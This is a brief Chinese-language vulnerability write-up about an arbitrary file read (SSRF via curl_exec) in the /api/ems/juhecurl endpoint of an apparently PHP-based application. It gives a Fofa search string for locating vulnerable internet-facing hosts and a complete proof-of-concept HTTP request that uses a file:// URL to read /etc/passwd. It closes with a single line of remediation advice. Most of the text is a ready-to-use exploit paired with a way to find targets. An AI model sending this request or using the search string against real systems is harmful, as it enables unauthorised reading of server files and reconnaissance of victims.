1 漏洞描述:
任意文件读取:
在/Ems.php 控制器中的 juhecurl 方法存在curl_exec函数,且参数url为用户可控,导致漏洞产生
2 搜索语句:
Fofa:
"/VwmRIfEYDH.php"
3 漏洞复现:
poc
GET /api/ems/juhecurl?url=file:///etc/passwd HTTP/1.1
Host: your-ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 修复建议:
控制用户传参限制,接口加上权限校验。